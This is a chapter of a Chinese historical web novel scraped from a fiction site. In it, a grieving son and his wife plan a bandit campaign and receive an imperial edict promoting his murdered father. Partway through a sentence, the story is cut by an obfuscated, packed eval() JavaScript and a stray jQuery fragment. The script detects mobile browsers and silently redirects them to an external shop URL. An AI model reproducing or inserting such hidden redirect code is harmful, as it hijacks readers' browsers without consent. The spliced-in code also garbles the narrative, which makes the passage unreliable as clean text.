文趣网 > 其他小说 > 在古代也要按时下班 > 6. 任命诏书
    余晟急迫地抓住赵轩的胳膊,凑到他的面前询问道:“她怎么了?”

    “她知道父母离世之后,悲伤过度,晕倒高烧了好几天,刚醒过来。”赵轩的声音低哑,“但是精神不怎么好,不怎么吃东西,也不愿意说话。”

    余晟抓着赵轩的手,指尖泛白。

    听到赵轩的抽气声,才反应过来,缓缓松开手,退后半步。

    好不容易因为知道妹妹活着有了一点生气的眼睛,又重新黯淡下去,眼角闪烁着几颗泪滴。

    李青梧悄悄挡住余晟,面朝门口喊来小厮。

    “你先带这位郎君去客房休息,不要怠慢。”

    “是。”小厮低着头进门,恭敬地站在赵轩身边。

    赵轩拱手行礼,将视线从余晟身上移开,看向李青梧:“那我便先退下了。”

    等其他人都离开了,李青梧才转身,看见余晟低着头站在原地。

    她伸手拉住余晟,故作轻松地说:“也算知道了一个好消息,我们先回房间吧。”

    余晟一言不吭,任由李青梧拉着他缓缓向院子走去。

    从演武场到余晟的院子,要经过前院的花园。

    今晚的月亮正圆,走在连廊上,月光撒在湖面,随着涟漪,波光粼粼。

    “我想去看她。”余晟轻声说道。

    李青梧停下脚步,转身看着他,借着月光看见他纠结地蹙眉。

    “但是你现在不能去。”李青梧边说边掰开余晟紧紧握拳的手,十指相扣。

    余晟仰头看着她。

    “说不定我们已经被那伙人监视了。如果我们去看他,她活着的消息若是传了出去,说不定那些人还会找回来杀她。”

    “对吧。”

    余晟另一只手垂在身侧,握紧的拳头渐渐松开。

    “对。”

    往前走了一段路,李青梧看着他颓废的样子,受不了了。

    她停下脚步,对上余晟困惑地眼神。

    上前几步,双手轻轻拍在他的脸上,“啪——”。

    “余晟,你不要太过自责。在江州举行婚礼是当初大家共同商议的。他们是被歹徒劫杀,这和你没有关系。”

    她捧着余晟微微泛红的脸,揉了揉:“你不要把问题都揽在自己身上,要多在别人身上找问题。”

    余晟低头看着她,听见她这段发言,抬手握住还在他脸上为非作歹的手,笑意漫过泛红的眼角:“你若是见到岁儿,一定能成为好友。”

    “是嘛。”李青梧也十分好奇,能让余晟像个妹控一样的妹妹是什么样的。

    两人继续往院子走。

    “明天送赵轩离开时多给他一些东西。”

    “嗯。”

    “刘伯一直往赵家送东西,以慰问亡者家属的名义送,不会引人注意。”

    “嗯。”

    “我今天在那家旅店没有发现新的线索。”

    “嗯,毕竟大火烧了很久。”

    “要开始准备葬礼流程。”

    “嗯。”

    “还要写文书上报朝廷,按制度,我们要丁忧守孝三年。”

    “嗯。你帮我写吧。”

    “还要……”

    快走到房门口了,李青梧打断滔滔不绝布置流程的余晟:“你用晚饭了吗?”

    “这么着急赶回来,一定是没吃的。”李青梧推着余晟进门,“还好我吃饭时让厨房给你留了饭,我去给你拿。你先写文书吧。我怕写错,你一起帮我写了。”

    说完就兴冲冲地跑了。

    等她端着热好的饭菜回来,余晟已经写好了两份文书,坐在那不知道想些什么。

    李青梧把饭盒放在桌子上,走到他身边,拿起文书匆匆瞥了一眼:“不错不错。”

    她之前就最讨厌文书工作,可偏偏水库每次写些什么文字,都要找到她。

    “明天我先去州署一趟,和长史商议剿匪的事。把丁忧的文书递上去。然后再回来安排丧礼的事情。”余晟放下笔,和她说明天的安排。

    “好的,小陀螺,先把晚饭吃了吧。”李青梧将他从书桌前拉起,带到饭盒前。

    她坐在一旁,看着余晟将饭菜一盘盘端出来,又在她面前摆了一双碗筷。

    看着眼前这些明显比在江州时好不少的吃食,叹了口气:“丁忧期间就没有俸禄了。”

    她还想着婚后找个什么由头给兄长包个红包。

    余晟舀了一勺汤放进她碗里:“没事的,我家中有些田产店铺。”

    李青梧喝了一口汤。

    差点忘了,是个官二代。

    第二天天还没亮。

    为了防止泄露消息,小厮都没起来洒扫,李青梧就被余晟悄悄带到妹妹院中收拾东西。

    余晟事无巨细,吃穿用度都想给妹妹送去。

    可是想到赵轩一个人,拿不下这么多东西。

    又决定一会给他找头驴子。

    犹豫再三,最终只是收拾了些御冬的衣物,和其他一些衣服。

    又悄悄回到自己院子。

    等到家中侍从起了,再安排他们取些布匹、粮食和钱财,让赵轩一并带回去。

    赵轩捆好包袱抬头,看见余晟站在远处,明显有话要说的样子,却迟迟没有上前。

    他也没追问,只是远远地行了一礼,然后转身跟着小厮往外走。

    直到小厮回来,余晟还站在廊下,保持着刚才的姿势,像是被人定住了。

    李青梧轻拍他的后背:“走吧,去州署。”

    进了州署,余晟轻车熟路地找到负责传递文书的小吏,托他们将文书送至京城。

    然后走到长史办公的地方。

    通传过后,进门见到长史,余晟直接声明了他的来意。

    “我想同长史商议,进山剿匪。”

    “你先坐下。”长史批文的手一顿:“你打算如何剿匪。”

    两人坐下。

    “待我举行完葬礼,想请长史应允,派兵同我进山剿匪。”

    见长史有些犹豫。

    李青梧补充道:“到时不管是遣散收复,还是剿灭,都算是造福百姓。百姓们都会记得你的功绩的。”

    放低音量:“都算政绩啊。”

    长史没有立刻回答。

    他端起茶碗,低头思考。

    余晟正要开口说话,一阵急促的脚步声从大门方向传来。

    一个差役跑进来,气喘吁吁地说:“朝廷来人了!人已经到城门口了!”

    长史猛地站起来,心中默默算了一下时间:“算时间,上报刺史死讯的人应该刚刚抵京,朝廷这么快就传旨了?”

    他急迫地从书桌后走出来:“可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723002|208755||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知是来干嘛的?”

    差役摇头,说不知道。

    没等他想出对策,又有人跑过来,说门口有京城来的官员,命长史去接旨。

    一行人匆匆赶去门口,为首的是一位身着青色官袍的舍人。

    见终于有人出来了,舍人手持诏书,缓步上前,高声道:“有制!”

    众人立即跪伏。

    “门下:

    朕承鸿业,临御万方,夙夜惕厉,不敢暇逸。惟天下之治,系于官得其人。苟非忠亮,何以副朕怀?

    婺州刺史余庆,器识沉远,操履端方。早登仕籍,累著政声,所至之地,吏畏其明,民怀其惠。朕闻其名久矣。

    今朝廷多故,百职未修,思得纯臣,以匡不逮。余庆可守吏部侍郎,赐绯鱼袋。

    朕方倚赖,以图至治。尔其勉之!

    故兹诏示,想宜知悉。”

    “臣,接旨。”长史起身,恭顺地接过诏书。

    舍人视线扫过在场的众人,缓步走到余晟面前:“你便是余庆之子?”

    众人起身,余晟低头应道:“是。”

    “可惜了,”舍人惋惜地叹道,“我在来的路上听闻,余刺史遇害了。”

    余晟低着头,没有说话。

    长史站在一旁,手里攥着那道刚刚接过的诏书。

    舍人朝余晟走近一步,声音压低了些:“如今朝中,奸臣当道。”

    余晟抬起头。

    舍人移开视线,目光落在院子里那棵老槐树上:“圣人想找一位忠君爱国的纯臣。可奸臣易找,纯臣难寻。”

    “有人举荐令尊,自然也有人反对。”他顿了顿,“选一个纯臣进京,就等于断了很多人伸在吏部的手。”

    “从京城到婺州这一路,消息走得可比公文快。”

    站在一旁听见舍人说的话,李青梧瞪大了眼睛。

    虽然想到了这件事不止山匪这么简单,但是万万没想到,竟然牵扯远在京城的官员。

    “多谢舍人提点。”余晟从袖子里拿出一袋小金瓜子,塞进舍人手中。

    舍人笑着收好钱袋,安慰道:“我也是于心不忍,可怜郎君新婚,便无法孝尽父母。”

    舍人点了点头,转身同长史交接完公文,便带着随从离开了。

    院子重新安静下来。

    长史站在原地,低头看着手里的诏书,神情复杂。

    他看了余晟一眼,欲言又止,最后只说了一句:“永安,此事你心里有数。”

    余晟望着门口舍人离开的方向:“长史,我们明日便上山。”

    “这。”长史面露难色,“是否太过仓促了。”

    “况且你都知道了,那些人的身份。”

    长史没有往下说。

    他一向明哲保身。

    李青梧不知何时凑到长史身后:“我们只是上山‘剿匪’,长史,那是利国利民的好事。”

    长史被她吓了一跳,往旁边连退几步,心有余悸:“差点以为是你家岁娘。”

    意识到自己失言,紧张地看向余晟。

    见他面色凝重,满眼疲态,一下子像是长了七八岁。

    终究是看着长大的孩子。

    一咬牙,硬着头皮应了下来:“我尽力调拨人手,但是你要答应我一件事。”

    “莫要只身进山。”